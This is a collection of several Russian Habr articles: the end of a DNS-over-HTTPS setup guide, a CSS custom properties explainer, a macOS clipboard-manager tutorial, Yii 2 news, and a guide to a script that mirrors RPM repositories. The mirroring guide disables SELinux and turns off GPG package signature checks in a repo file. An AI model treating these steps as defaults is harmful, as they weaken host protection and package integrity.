tcpdump: listening on lo0, link-type NULL (BSD loopback), capture size 262144 bytes
16:32:40.420831 IP (tos 0x0, ttl 64, id 37575, offset 0, flags [none], proto UDP (17), length 57, bad cksum 0 (->e9ea)!)
127.0.0.1.21070 > 127.0.0.1.53: [bad udp cksum 0xfe38 -> 0x33e3!] 43981+ A? example.com. (29)
0x0000: 0200 0000 4500 0039 92c7 0000 4011 0000 ....E..9....@...
0x0010: 7f00 0001 7f00 0001 524e 0035 0025 fe38 ........RN.5.%.8
0x0020: abcd 0100 0001 0000 0000 0000 0765 7861 .............exa
0x0030: 6d70 6c65 0363 6f6d 0000 0100 01 mple.com.....
16:32:40.796507 IP (tos 0x0, ttl 64, id 37590, offset 0, flags [none], proto UDP (17), length 73, bad cksum 0 (->e9cb)!)
127.0.0.1.53 > 127.0.0.1.21070: [bad udp cksum 0xfe48 -> 0x43fa!] 43981 q: A? example.com. 1/0/0 example.com. A 93.184.216.34 (45)
0x0000: 0200 0000 4500 0049 92d6 0000 4011 0000 ....E..I....@...
0x0010: 7f00 0001 7f00 0001 0035 524e 0035 fe48 .........5RN.5.H
0x0020: abcd 8180 0001 0001 0000 0000 0765 7861 .............exa
0x0030: 6d70 6c65 0363 6f6d 0000 0100 01c0 0c00 mple.com........
0x0040: 0100 0100 0151 8000 045d b8d8 22 .....Q...].."
^C
2 packets captured
23 packets received by filter
0 packets dropped by kernel
```
В выводе видно, как запрос на разрешение адреса *example.com* был получен и успешно обработан DNS сервером.
Теперь осталось активировать наш сервер в браузере Firefox. Для этого на страницы конфигурации следует изменить несколько настроек *about:config*.
Во-первых, это адрес нашего API по которому браузер будет запрашивать в DNS информацию в **network.trr.uri**. Рекомендуется также указать IP домена из этого URL для безопасного разрешения в IP средствами самого браузера без обращения к DNS в **network.trr.bootstrapAddress**. И, наконец, собственно сам параметр **network.trr.mode** включающий использование DoH. Установка значения в "3" заставит браузер использовать исключительно DNS-over-HTTPS для разрешения имён, а более надёжное и безопасное "2" отдаст приоритет DoH отставив стандартное обращение к DNS в качестве резервного варианта.
5. PROFIT!
==========
Статья была полезной? Тогда прошу не стесняться и поддерживать деньгами через форму доната (ниже). | https://habr.com/ru/post/467237/ | null | ru | null |
# Кастомные свойства
> Зачем нужны кастомные свойства и как они работают?
В языках программирования есть переменные: вы что-нибудь один раз объявляете, присваиваете значение, а потом снова и снова используете. Если значение переменной меняется, то оно меняется везде. Похоже на местоимения в языке: из предложения или абзаца всегда понятно, кто «мы» или что за «оно», мы их как будто объявили раньше и наверняка переопределим потом.
Но это языки программирования, а что со стилями? Вообще, декларативная природа CSS не подразумевает никаких переменных и [соавтор CSS Берт Бос очень против](https://www.w3.org/People/Bos/CSS-variables), почитайте. Но жизнь внесла свои коррективы в изначальную идею, и переменные в стилях появились — слишком уж удобно было. Но сначала в препроцессорах.
Как работают препроцессоры? Вы пишете на каком-то языке, который внешне напоминает CSS, а иногда вообще не напоминает.
```
@mixin sass
@if &
&:hover
color: tomato
@else
a
color: plum
```
Потом это компилируется в настоящие стили. Переменные там — это такая сложная автозамена переменных на их значения. Sass, Less, Stylus, PostCSS-плагины — все они работают только так. Эти переменные существуют только в разработке, в браузере их уже нет.
```
.scss {
$variable: value;
color: $variable;
}
```
Если сравнить такое поведение с JavaScript, то становится очень обидно за CSS. В JS переменные живут прямо в браузере, их можно создавать и менять на лету. Тем не менее такие переменные и другие элементы программирования в CSS-препроцессорах получили огромную популярность. Уже почти не бывает больших проектов без препроцессоров.
К счаcтью нашлись люди, недовольные такими куцыми переменными. После ряда черновиков и вариаций синтаксиса, Таб Аткинс написал спецификацию полноценных CSS-переменных, точнее, кастомных свойств. Эти переменные поддерживаются уже в 70% браузеров по миру и сильно меняют принцип написания стилей.
Кастомные кто? Объясняю. Помните, я говорил, что CSS не очень-то готов к переменным? Чтобы сохранить синтаксическую совместимость со старыми браузерами и не противоречить модели языка, было решено сделать не просто переменные с долларом в начале, а механизм создания собственных свойств для нужд разработчика. Ещё их переводят как «пользовательские» свойства, но с этим возникает путаница: кто здесь пользователь, а кто здесь разработчик? Сразу скажу, синтаксис у них немножко странный, но вы поймёте почему.
Например, у нас сейчас есть свойство `box-shadow`, чтобы отбрасывать тень. А раньше его не было, оно появилось первым в браузере Safari в 2008 году. Но появилось не просто так, а как `-webkit-box-shadow`, с префиксом, начинающимся с дефиса. То есть разработчики движка WebKit придумали своё свойство. Только потом, когда оно стало частью стандарта и появилось в других браузерах, префикс убрали.
```
.shady {
-webkit-box-shadow: 0 0 0 4px tomato;
box-shadow: 0 0 0 4px tomato;
}
```
Теперь вы тоже можете [создавать собственные свойства](http://zmeika.name/2017/03/02/custom-css-properties-basics.html), только не нужно указывать между дефисами название движка: дефис, дефис, название свойства. Давайте создадим свойство `--box-shadow-color` и зададим ему значение `tomato`. Чтобы использовать это значение в коде, нужно передать его в функцию `var()`.
```
.shady {
--box-shadow-color: tomato;
box-shadow: 0 0 0 5px var(--box-shadow-color);
}
```
Мы сейчас объявили новое свойство, которое потом можно повторно использовать снова и снова. А ещё свойства `box-shadow-color` никогда не было в природе и чтобы менять тени, например, по наведению, приходилось переписывать `box-shadow` целиком. А теперь по ховеру можно просто поменять значение переменной. Круто?
```
.shady {
--box-shadow-color: tomato;
}
.shady:hover {
--box-shadow-color: plum;
}
```
Если вы используете кастомное свойство, которое почему-то не было объявлено, то можно указать его значение по умолчанию, которое будет использовано в таком случае. Ваш компонент тогда можно будет настроить, но без настройки он не сломается.
```
.shady {
font-size: var(--font-size, 12px);
}
```
Из-за того, что это кастомные свойства, а не просто доллары с автозаменой, они ведут себя как обычные свойства: наследуются вглубь для всех детей элемента и не видны между элементами-соседями. Чтобы переменную точно было видно во всём документе, её нужно задать самому корневому элементу , но лучше даже `:root`, на случай если это корневой элемент .
```
:root {
--font-size: 12px;
--theme-color: tomato;
}
```
Самое крутое, что переменные можно переопределять внутри медиавыражений. Например, если окно больше каких-то размеров, теперь не нужно копировать весь блок и менять его под новую ширину, достаточно поменять нужные кастомные свойства.
```
@media (min-width: 320px) {
.shady {
--font-size: 48px;
}
}
```
Кастомные свойства можно использовать даже внутри функции `calc()`, которая посчитает результат выражения внутри. Уже не очень похоже на привычный CSS, правда? Стоит ли говорить, что все препроцессоры уже умерли от зависти, глядя на такое.
```
.shady {
font-size: calc(var(--font-size) * 2);
}
```
Ещё кастомные свойства становятся идеальным транспортом для данных между скриптами и стилями. Например, вы можете динамически считать координаты мыши в JS и пробрасывать их в кастомные свойства через `setProperty` в нужный элемент.
```
element.style.setProperty('--pointer-left', event.clientX);
```
Дальше в стилях уже можно решить: использовать их в `top` и `left` или `transform: translate()`. И наоборот: значение свойства можно получить в JS с помощью `getPropertyValue`.
И это я только кастомные свойства лапкой потрогал, дальше ещё куча интересного, что кардинально меняет работу со стилями. Читайте и смотрите дальше сами: [статьи](https://www.smashingmagazine.com/2017/04/start-using-css-custom-properties/), [видео](https://events.yandex.ru/lib/talks/4265/) и слайды.
Кастомные свойства — это не `border-radius`, который либо делает красиво, либо нет. Бросаться всё переделывать на них пока рано, вёрстка может сильно поломаться в браузерах, которые их не поддерживают. Но уже пришло время пробовать и уметь.
Видеоверсия
-----------
Вопросы можно задавать [здесь](https://htmlacademy.ru/shorts). | https://habr.com/ru/post/337292/ | null | ru | null |
# Первая программа для OS X своими руками — менеджер буфера обмена
Больше года прошло с тех пор, как я увлекся программированием под платформу iOS. Наконец-то я нашел свободное время попробовать свои силы на платформе OS X. Если вы давно испытываете интерес к платформе OS X, но никак не соберетесь начать, эта статья для вас! Под катом подробное описание процесса создания приложения — менеджера буфера обмена. Все исходники можно найти на [github.com/k06a/Clipshare](https://github.com/k06a/Clipshare)
#### Подготавливаем проект к работе
Не долго думая, я создал в Xcode 5 проект типа *Cocoa Application* с именем «Clipshare». В свежесозданном проекте, мы можем наблюдать следующие файлы:
Файлы *ABAppDelegate.h* и *ABAppDelegate.m* относятся к классу делегата приложения, и в них мы как раз будем писать весь наш код. В файле *MainMenu.xib* мы будем рисовать и настраивать графический интерфейс приложения.
Хорошенько подумав, решаем что наше приложение должно быть безоконным и должно висеть в строке статуса (возле часиков). Первое что нам потребуется, удалить из файла *MainMenu.xib* стандартную строку меню и объект окна — они нам не потребуются. Далее создаем объект меню с 2 пунктами: разделителем и пунктом выхода из приложения. Это делается простым перетаскиванием объектов из библиотеки на холст. Для работы пункта меню *Quit* достаточно с зажатой клавишей Ctrl протянуть от пункта меню до объекта приложения *Application* синюю нить мышкой:
После того как мы отпустим клавишу мыши, появится окошко со списком селекторов (методов), доступных для соединения. Среди представленных методов, нам подходит `-terminate`:
Теперь необходимо суметь обратиться к нашему меню из кода. Для того чтобы настроить его отображение в статусной строке OS X и много еще для чего. Откроем режим ассистанта, когда в окне Xcode видно сразу 2 документа, в первом оставим — графический интерфейс, а во втором выберем исходный код приложения: *ABAppDelegate.h*. И также как и в прошлый раз с зажатой клавишей Ctrl протянем синюю нить от меню, но теперь к исходному коду. Протянуть нужно в секцию кода `@interface` в файле *ABAppDelegate.h* (свойство *window* я из этого файла уже стер за ненадобностью):
Как только мы отпустим зажатую клавишу мыши, выскочит диалоговое окно с настройками создаваемого *Outlet* (свойство в коде, ссылающееся на объект графического интерфейса). Остается только указать имя свойства, например «menu»:
Теперь переключаемся на исходный код приложения. В файле *ABAppDelegate.m* у нас имеется всего 1 метод и тот пустой:
```
- (void)applicationDidFinishLaunching:(NSNotification *)aNotification
{
// ...
}
```
Внутри этого метода нем предстоит вписать код, в первую очередь выполняющий привязку нашего меню к строке статуса OS X:
```
self.statusBar = [[NSStatusBar systemStatusBar] statusItemWithLength:NSVariableStatusItemLength];
self.statusBar.title = @"CS";
self.statusBar.menu = self.menu;
self.statusBar.highlightMode = YES;
```
Для работоспособности этого кода необходимо также объявить свойство `statusBar` в секции `@interface`:
```
@property (strong, nonatomic) NSStatusItem *statusBar;
```
Чтобы уже можно было проверить наше приложение, нужно всего лишь добавить 1 ключик со значением `YES` в файл *Clipshare-Info.plist*, он позволит нашему приложению работать без окна:
Запускаем наше приложение и наблюдаем его в строке статуса OS X и даже можем выйти из него по Cmd-Q или просто ткнув в единственный пункт меню:
#### Внедряем основную логику
Предлагаю проверять содержимое буфера обмена по таймеру каждые полсекунды и в зависимости от того, что мы в нем найдем — выполнять те или иные действия. Судя по всему, нет другого способа узнать об изменениях в буфере обмена, а жаль ( [stackoverflow.com/a/5033480/440168](http://stackoverflow.com/a/5033480/440168) ). Ок, настраиваем таймер. Создаем объект таймера, указываем ему какой метод и как часто он должен вызывать и добавляем таймер в цикл обработки сообщений:
```
NSTimer * timer = [NSTimer timerWithTimeInterval:0.5 target:self selector:@selector(timerFire:) userInfo:nil repeats:YES];
[[NSRunLoop currentRunLoop] addTimer:timer forMode:NSDefaultRunLoopMode];
```
Теперь циклом обработки сообщений по таймеру будет происходить вызов селектора (метода) `-timerFire:` у объекта `self`. Не забудем этот метод реализовать:
```
- (void)timerFire:(id)sender
{
NSPasteboard * pboard = [NSPasteboard generalPasteboard];
NSPasteboardItem * pboardItem = [[pboard pasteboardItems] lastObject];
NSString * text = [pboardItem stringForType:NSPasteboardTypeString];
// ...
}
```
В теле метода, мы обращаемся к главному буферу обмена, к последнему объекту в нем содержащемуся и пытаемся извлечь из него текстовые данные. Предлагаю запоминать изменения буфера обмена в массиве предыдущих значений, а также хранить параллельный массив ( [ru.wikipedia.org/wiki/Параллельный\_массив](http://ru.wikipedia.org/wiki/Параллельный_массив) ) дат и времени соответствующих изменений:
```
@property (strong, nonatomic) NSMutableArray * texts;
@property (strong, nonatomic) NSMutableArray * times;
```
Не забываем в начале работы программы инициализировать оба свойства пустыми пассивами:
```
self.texts = [NSMutableArray array];
self.times = [NSMutableArray array];
```
Теперь реализуем следующую логику: текст обнаруженный в буфере обмена мы поищем в массиве с предыдущими значениями и если такой НЕ найдется — добавим его в начало массива и добавим новый пункт в начало меню:
```
NSInteger index = [self.texts indexOfObject:text];
// ...
NSMenuItem * menuItem = [[NSMenuItem alloc] initWithTitle:@"" action:@selector(menuItemSelect:) keyEquivalent:@""];
[self.menu insertItem:menuItem atIndex:0];
[self.texts insertObject:text atIndex:0];
[self.times insertObject:[NSDate date] atIndex:0];
```
Если такой текст уже есть в массиве с предыдущими значениями, будем ставить галочку у соответствующего пункта нашего меню и ничего более. Для этого заведем новое свойство `selectedIndex` типа `BOOL`:
```
if (index != NSNotFound)
{
self.selectedIndex = index;
[self updateItemTitlesAndStates];
return;
}
```
Метод `updateItemTitlesAndStates` занимается обходом всех пунктов меню и обновлением их названий (в названиях указано время, прошедшее с момента копирования в буфер) и выставлением галочки слева от нужного пункта `selectedIndex`:
```
- (void)updateItemTitlesAndStates
{
for (int i = 0; i < self.menu.itemArray.count-2; i++)
{
NSDate * time = self.times[i];
NSString * text = self.texts[i];
NSMenuItem * menuItem = self.menu.itemArray[i];
NSString * timeStr = nil;
NSTimeInterval secs = MAX(0,[[NSDate date] timeIntervalSinceDate:time]);
if (secs < 60)
timeStr = [NSString stringWithFormat:@"%ds",(int)(secs)];
else if (secs < 60*60)
timeStr = [NSString stringWithFormat:@"%dm",(int)(secs/60)];
else if (secs < 60*60*24)
timeStr = [NSString stringWithFormat:@"%dh",(int)(secs/60/60)];
else if (secs < 60*60*24*7)
timeStr = [NSString stringWithFormat:@"%dd",(int)(secs/60/60/24)];
else if (secs < 60*60*24*365.75)
timeStr = [NSString stringWithFormat:@"%dw",(int)(secs/60/60/24/7)];
else if (secs < 60*60*24*365.75*3)
timeStr = [NSString stringWithFormat:@"%dM",(int)(secs/60/60/24/30.5)];
else if (secs < 60*60*24*365.75*100)
timeStr = [NSString stringWithFormat:@"%dy",(int)(secs/60/60/24/365.75)];
else
timeStr = @"..";
menuItem.title = [NSString stringWithFormat:@"(%@) \"%@%@\"", timeStr,
[text substringToIndex:MIN(MaxVisibleChars,text.length)],
(text.length <= MaxVisibleChars) ? @"" : @"..."];
menuItem.state = (i == self.selectedIndex) ? NSOnState : NSOffState;
menuItem.keyEquivalent = [@(i+1) description];
}
}
```
Ну и в случае добавления нового пункта нужно еще удалять старые пункты, если их слишком много:
```
while (self.menu.itemArray.count >= MaxVisibleItems+2)
{
[self.menu removeItemAtIndex:self.menu.itemArray.count-3];
[self.texts removeLastObject];
[self.times removeLastObject];
}
```
Осталось обработать клики по пунктам меню:
```
- (void)menuItemSelect:(id)sender
{
NSInteger index = [self.menu.itemArray indexOfObject:sender];
NSPasteboard * pboard = [NSPasteboard generalPasteboard];
[pboard clearContents];
NSPasteboardItem * pboardItem = [[NSPasteboardItem alloc] init];
[pboardItem setString:self.texts[index] forType:NSPasteboardTypeString];
[pboard writeObjects:@[pboardItem]];
}
```
Вот теперь приложение, работает как мы хотели! Когда в буфер обмена попадает текст, который уже был там недавно, галочка перескакивает вниз на нужный пункт. То же происходит, если мы кликаем по этому пункту сами:
Приложение рассчитано только на текстовые данные, и не работает должным образом с картинками, файлами и прочими вещами попадающими в буфер обмена, но я сам им пользуюсь уже пару дней. Это первое приложение написанное мной за пару часов — которое я реально использую. Спасибо тем, кто прочитал и просмотрел все картинки, надеюсь вам понравилось!
За магические числа и параллельные массивы в коде, прошу не пинать! Как было проще и быстрее так и написал. Кто любит по фэн-шую всё — жду ваш пул-реквест!
Исходники приложения найти можно здесь: [github.com/k06a/Clipshare](https://github.com/k06a/Clipshare)
Бинарник можно скачать из релизов: [github.com/k06a/Clipshare/releases](https://github.com/k06a/Clipshare/releases)
**P.S.** Если не будете скупиться на плюсы и комментарии, в следующей статье создадим приложение под iOS и будем синхронизировать буфер обмена между устройствами!
**P.P.S.** Кто найдет в тексте эпическую опечатку, получит плюс в карму! | https://habr.com/ru/post/197348/ | null | ru | null |
# Новости Yii 2. №1
С тех пор, как расширения PHP фреймворка Yii переехали в отдельные репозитории и начали релизиться независимо, изменений на каждый релиз в них стало меньше и писать на хабре про каждое отдельно стало как-то не правильно. То же и про новости. Вроде и важно, но отдельно на статью не тянет. Однако, новостей накопилось прилично, поэтому предлагаю почитать самые интересные.
Пополнение в команде
--------------------
К команде Yii присоединился Boudewijn Vahrmeijer из Нидерландов. Если вы следите [за разработкой Yii на GitHub](https://github.com/yiisoft/yii2), то наверняка встречали его под ником [@dynasource](https://github.com/dynasource).
Планы на будущее
----------------
Те, кто следит за развитием фреймворка, скорее всего уже видели страничку [с планами на будущие релизы](https://github.com/yiisoft/yii2/wiki/Plan-for-next-major-versions). Это не финальный roadmap, но из них можно понять направление. К тому же, в ветке 2.1 уже есть некоторые изменения. Постепенно из ядра будут выделяться расширения. Это позволит ему избавиться от зависимостей, стать меньше и стабильней.
Изменение политики по pull request-ам
-------------------------------------
Изменения теперь принимаются без юнит-тестов только в исключительных случаях. Это должно как повысить стабильность фреймворка, так и немного разгрузить членов команды.
Новая книга
-----------
Вышла новая книга "[Yii 2 Application Development Cookbook — Third Edition](https://www.packtpub.com/web-development/yii2-application-development-cookbook-third-edition)". Основана на книгах [SamDark](https://habrahabr.ru/users/samdark/) про Yii 1.1. Контент обновлён до 2.0, дополнен и частично переписан. Авторы — Дмитрий Елисеев и Андрей Богданов.
Сразу скажу, что это не то же, что [Yii 2.0 Community Cookbook](https://github.com/samdark/yii2-cookbook) и вообще выходом книги я [был немного удивлён](http://rmcreative.ru/blog/post/yii-2-application-development-cookbook---third-edition).
Мини-конференция в Киеве
------------------------
Несмотря на то, что доклады про Yii не такая уж редкость и члены команды время от времени появляются на различных конференциях, мини-конференцию в Киеве нельзя не отметить. Докладчиками выступили члены команды Yii и Codeception. [Материалы, в том числе и видео, доступны](http://rmcreative.ru/blog/post/yii-2-conference-2016--otchjot-i-materialy).
Новые официальные расширения
----------------------------
Про [HTTP-клиент я уже писал](https://habrahabr.ru/post/304584/). Недавно было выпущено ещё одно новое расширение: интерактивная консоль на базе [psysh](http://psysh.org/). После установки пакета `yiisoft/yii2-shell`, запустить расширение можно из командной строки набрав `./yii shell`.
Обзор возможностей можно найти [на сайте psysh](http://psysh.org/#features). В консоли объект приложения доступен как `Yii::$app`. Все остальные классы также можно использовать.
Новые версии отладчика с улучшениями
------------------------------------
Отладчик и его панель были улучшены очень значительно. Он теперь перехватывает AJAX реквесты:
Была добавлена новая панель timeline:
Стало возможным открытие упоминаемых файлов прямо в IDE.
Кроме этого, было сделано большое количество мелких по отдельности, но значительных вместе улучшений.
Вопросы?
--------
На этом всё. Если у вас остались какие-либо вопросы, задавайте в комментариях. | https://habr.com/ru/post/316038/ | null | ru | null |
# rpm-gpg-repository-mirroring — Скрипт для скачивания RPM из репозиториев, для которых нельзя сделать yum proxy в Nexus
В некоторых организациях с серверов нет доступа в интернет. В таких случаях делают зеркала основных репозиториев.
Но что делать, если доступ с серверов ограничен, а нужные rpm пакеты нужно установить? Обычно используют reposync или скачивают руками и делают локальный репозиторий.
Также можно добавить репозиторий, который будет ходить в интернет через прокси сервер. На прокcи сервер может быть большая нагрузка.
Но можно использовать скрипт rpm-gpg-repository-mirroring, который скачает нужные rpm пакеты и сделает локальное зеркало.
Цель данного поста рассказать о скрипте, который скачивает последние версии rpm пакетов из репозиториев Grafana, Kubernetes, Gitlab, packagecloud.io и так далее.
Какие преимущества rpm-gpg-repository-mirroring использования скрипта перед reposync
* может скачивать все rpm пакеты, начиная с определенной версии
* может скачивать последние N версий rpm пакетов
* значительно экономит трафик в сравнении с reposync
* значительно экономит дисковое пространство в сравнении с reposync
* скачивает последнюю версию в отличие от репозиториев, которые созданы руками и rpm были добавлены руками
Исходный код
------------
<https://github.com/patsevanton/rpm-gpg-repository-mirroring>
Выключаем Selinux
-----------------
```
sudo sed -i s/^SELINUX=.*$/SELINUX=disabled/ /etc/selinux/config
sudo reboot
```
Установка и запуск rpm-gpg-repository-mirroring (epel-release нужен для nginx)
------------------------------------------------------------------------------
```
yum install -y epel-release
yum -y install yum-plugin-copr
yum copr enable antonpatsev/rpm-gpg-repository-mirroring
yum -y install rpm-gpg-repository-mirroring
```
Настройка rpm-gpg-repository-mirroring
--------------------------------------
Редактируем файл `/etc/rpm-gpg-repository-mirroring.conf`
В нем все подробно описано.
### Репозиторий, с которого нужно скачать все последние rpm пакеты начиная с определенной версии. Пример Grafana
Создадим /etc/yum.repos.d/grafana.repo со следующим содержимым:
```
[grafana]
name=grafana
baseurl=https://packages.grafana.com/oss/rpm
repo_gpgcheck=0
enabled=1
gpgcheck=0
gpgkey=https://packages.grafana.com/gpg.key
sslverify=1
sslcacert=/etc/pki/tls/certs/ca-bundle.crt
```
Конфиг /etc/rpm-gpg-repository-mirroring.conf:
```
# Директория, в которых будут создаваться rpm репозитории
DOWNLOAD_DIR=/var/www/repos
# репозитории, rpm которых будут скачиваться начиная с определенной версии, указаной в значении
REPOS={"grafana":"6.5.3"}
```
Запускаем скрипт
```
rpm-gpg-repository-mirroring
```
После запуска скрипта в директории /var/www/repos должна появится директория grafana, содержащая rpm репозиторий.
**ls -1 /var/www/repos/grafana/**
```
grafana-6.5.3-1.x86_64.rpm
grafana-6.6.0-1.x86_64.rpm
grafana-6.6.1-1.x86_64.rpm
grafana-6.6.2-1.x86_64.rpm
grafana-6.7.0-1.x86_64.rpm
grafana-6.7.0-test.x86_64.rpm
grafana-6.7.1-1.x86_64.rpm
grafana-6.7.2-1.x86_64.rpm
grafana-6.7.3-1.x86_64.rpm
grafana-6.7.4-1.x86_64.rpm
grafana-7.0.0-1.x86_64.rpm
grafana-7.0.1-1.x86_64.rpm
grafana-7.0.2-1.x86_64.rpm
grafana-7.0.3-1.x86_64.rpm
repodata
```
### Репозиторий, с которого нужно скачать все последние rpm пакеты начиная с определенной версии + N последних версий определенных rpm пакетов. Пример Kubernetes
Создадим /etc/yum.repos.d/kubernetes.repo со следующим содержимым:
```
[kubernetes]
name=Kubernetes
baseurl=https://packages.cloud.google.com/yum/repos/kubernetes-el7-x86_64
enabled=1
gpgcheck=1
repo_gpgcheck=0
gpgkey=https://packages.cloud.google.com/yum/doc/yum-key.gpg https://packages.cloud.google.com/yum/doc/rpm-package-key.gpg
# c опцией repo_gpgcheck=1 скрипт выдает ошибку: repomd.xml signature could not be verified for kubernetes
```
Конфиг /etc/rpm-gpg-repository-mirroring.conf:
```
# Директория, в которых будут создаваться rpm репозитории
DOWNLOAD_DIR=/var/www/repos
# репозитории, rpm которых будут скачиваться начиная с определенной версии, указаной в значении
REPOS={"kubernetes":"1.17.6"}
# Для всех репозиторией, в которых есть rpm-пакет, совпадающий с ключом, необходимо скачать последние N версии этих rpm пакетов.
# Где N указывается в значении.
CUT_AFTER={"rkt":2,"kubernetes-cni":2,"cri-tools":2}
```
После запуска скрипта в директории /var/www/repos должна появится директория kubernetes, содержащая rpm репозиторий.
**ls -1 /var/www/repos/kubernetes/**
```
cri-tools-1.12.0-0.x86_64.rpm
cri-tools-1.13.0-0.x86_64.rpm
kubeadm-1.17.6-0.x86_64.rpm
kubeadm-1.17.7-0.x86_64.rpm
kubeadm-1.18.0-0.x86_64.rpm
kubeadm-1.18.1-0.x86_64.rpm
kubeadm-1.18.2-0.x86_64.rpm
kubeadm-1.18.3-0.x86_64.rpm
kubeadm-1.18.4-0.x86_64.rpm
kubectl-1.17.6-0.x86_64.rpm
kubectl-1.17.7-0.x86_64.rpm
kubectl-1.18.0-0.x86_64.rpm
kubectl-1.18.1-0.x86_64.rpm
kubectl-1.18.2-0.x86_64.rpm
kubectl-1.18.3-0.x86_64.rpm
kubectl-1.18.4-0.x86_64.rpm
kubelet-1.17.6-0.x86_64.rpm
kubelet-1.17.7-0.x86_64.rpm
kubelet-1.18.0-0.x86_64.rpm
kubelet-1.18.1-0.x86_64.rpm
kubelet-1.18.2-0.x86_64.rpm
kubelet-1.18.3-0.x86_64.rpm
kubelet-1.18.4-0.x86_64.rpm
kubernetes-cni-0.6.0-0.x86_64.rpm
kubernetes-cni-0.7.5-0.x86_64.rpm
repodata
rkt-1.26.0-1.x86_64.rpm
rkt-1.27.0-1.x86_64.rpm
```
### Репозиторий, с которого нужно скачать N последних версий определенных rpm пакетов. Пример Prometheus
Создадим /etc/yum.repos.d/prometheus.repo со следующим содержимым:
```
[prometheus-7]
name=prometheus
baseurl=https://packagecloud.io/prometheus-rpm/release/el/$releasever/$basearch
repo_gpgcheck=0
enabled=1
gpgkey=https://packagecloud.io/prometheus-rpm/release/gpgkey
https://raw.githubusercontent.com/lest/prometheus-rpm/master/RPM-GPG-KEY-prometheus-rpm
gpgcheck=1
metadata_expire=300
```
Конфиг /etc/rpm-gpg-repository-mirroring.conf:
```
# Директория, в которых будут создаваться rpm репозитории
DOWNLOAD_DIR=/var/www/repos
# ключ - репозиторий. значение: количество последних версий, которые необходимо скачать-для-всех-rpm-пакетов-в-репозитории.
# Пример: Для репозитория prometheus-7 нужно скачать последние 4 версии rpm пакетов.
#NUMBER_PACKAGE_IN_REPO={"prometheus-7":4}
```
После запуска скрипта в директории /var/www/repos должна появится директория prometheus-7, содержащая rpm репозиторий.
**ls -1 /var/www/repos/prometheus-7/**
```
alertmanager-0.19.0-2.el7.centos.x86_64.rpm
alertmanager-0.20.0-2.el7.centos.x86_64.rpm
alertmanager-0.20.0-2.el7.x86_64.rpm
alertmanager-0.21.0-2.el7.x86_64.rpm
apache_exporter-0.7.0-1.el7.centos.x86_64.rpm
apache_exporter-0.8.0-1.el7.x86_64.rpm
bind_exporter-0.3.0-1.el7.centos.x86_64.rpm
bind_exporter-0.3.0-1.el7.x86_64.rpm
blackbox_exporter-0.16.0-1.el7.centos.x86_64.rpm
blackbox_exporter-0.16.0-1.el7.x86_64.rpm
collectd_exporter-0.4.0-1.el7.centos.x86_64.rpm
collectd_exporter-0.4.0-1.el7.x86_64.rpm
consul_exporter-0.4.0-1.el7.centos.x86_64.rpm
consul_exporter-0.6.0-1.el7.centos.x86_64.rpm
consul_exporter-0.6.0-1.el7.x86_64.rpm
consul_exporter-0.7.0-1.el7.x86_64.rpm
elasticsearch_exporter-1.0.1-1.el7.centos.x86_64.rpm
elasticsearch_exporter-1.0.2-1.el7.centos.x86_64.rpm
elasticsearch_exporter-1.1.0-1.el7.centos.x86_64.rpm
elasticsearch_exporter-1.1.0-1.el7.x86_64.rpm
exporter_exporter-0.3.0-2.el7.centos.x86_64.rpm
exporter_exporter-0.3.0-2.el7.x86_64.rpm
exporter_exporter-0.4.0-0.el7.x86_64.rpm
exporter_exporter-0.4.0-1.el7.x86_64.rpm
graphite_exporter-0.4.2-1.el7.centos.x86_64.rpm
graphite_exporter-0.6.2-1.el7.centos.x86_64.rpm
graphite_exporter-0.6.2-1.el7.x86_64.rpm
graphite_exporter-0.7.0-1.el7.x86_64.rpm
haproxy_exporter-0.10.0-1.el7.centos.x86_64.rpm
haproxy_exporter-0.10.0-1.el7.x86_64.rpm
iperf3_exporter-0.1.2-1.el7.x86_64.rpm
iperf3_exporter-0.1.3-1.el7.x86_64.rpm
jmx_exporter-0.12.0-1.el7.centos.noarch.rpm
jolokia_exporter-1.3.1-1.el7.x86_64.rpm
junos_exporter-0.9.6-1.el7.x86_64.rpm
junos_exporter-0.9.6-2.el7.x86_64.rpm
keepalived_exporter-0.4.0-1.el7.x86_64.rpm
keepalived_exporter-0.4.0-2.el7.x86_64.rpm
memcached_exporter-0.6.0-1.el7.centos.x86_64.rpm
memcached_exporter-0.6.0-1.el7.x86_64.rpm
mysqld_exporter-0.10.0-1.el7.centos.x86_64.rpm
mysqld_exporter-0.11.0-1.el7.centos.x86_64.rpm
mysqld_exporter-0.12.1-1.el7.centos.x86_64.rpm
mysqld_exporter-0.12.1-1.el7.x86_64.rpm
nginx_exporter-0.4.1-1.el7.centos.x86_64.rpm
nginx_exporter-0.4.1-1.el7.x86_64.rpm
nginx_exporter-0.7.0-1.el7.x86_64.rpm
nginx_exporter-0.8.0-1.el7.x86_64.rpm
node_exporter-1.0.0-1.el7.x86_64.rpm
node_exporter-1.0.1-1.el7.x86_64.rpm
ping_exporter-0.4.6-1.el7.centos.x86_64.rpm
ping_exporter-0.4.6-1.el7.x86_64.rpm
process_exporter-0.5.0-1.el7.centos.x86_64.rpm
process_exporter-0.5.0-1.el7.x86_64.rpm
process_exporter-0.6.0-1.el7.x86_64.rpm
process_exporter-0.6.0-2.el7.x86_64.rpm
prometheus-1.8.0-1.el7.centos.x86_64.rpm
prometheus-1.8.1-1.el7.centos.x86_64.rpm
prometheus-1.8.2-1.el7.centos.x86_64.rpm
prometheus-1.8.2-1.el7.x86_64.rpm
prometheus2-2.18.1-1.el7.x86_64.rpm
prometheus2-2.18.2-1.el7.x86_64.rpm
prometheus2-2.19.0-1.el7.x86_64.rpm
prometheus2-2.19.1-1.el7.x86_64.rpm
pushgateway-1.2.0-1.el7.x86_64.rpm
rabbitmq_exporter-0.26.0-1.el7.centos.x86_64.rpm
rabbitmq_exporter-0.28.0-1.el7.centos.x86_64.rpm
rabbitmq_exporter-0.28.0-1.el7.x86_64.rpm
redis_exporter-1.3.5-1.el7.centos.x86_64.rpm
redis_exporter-1.3.5-1.el7.x86_64.rpm
redis_exporter-1.6.0-1.el7.x86_64.rpm
redis_exporter-1.8.0-1.el7.x86_64.rpm
repodata
sachet-0.0.8-1.el7.centos.x86_64.rpm
sachet-0.2.0-1.el7.centos.x86_64.rpm
sachet-0.2.0-1.el7.x86_64.rpm
sachet-0.2.3-1.el7.x86_64.rpm
sachet-debuginfo-0.2.0-1.el7.centos.x86_64.rpm
sachet-debuginfo-0.2.0-1.el7.x86_64.rpm
smokeping_prober-0.3.0-1.el7.centos.x86_64.rpm
smokeping_prober-0.3.0-1.el7.x86_64.rpm
ssl_exporter-0.6.0-1.el7.centos.x86_64.rpm
ssl_exporter-0.6.0-1.el7.x86_64.rpm
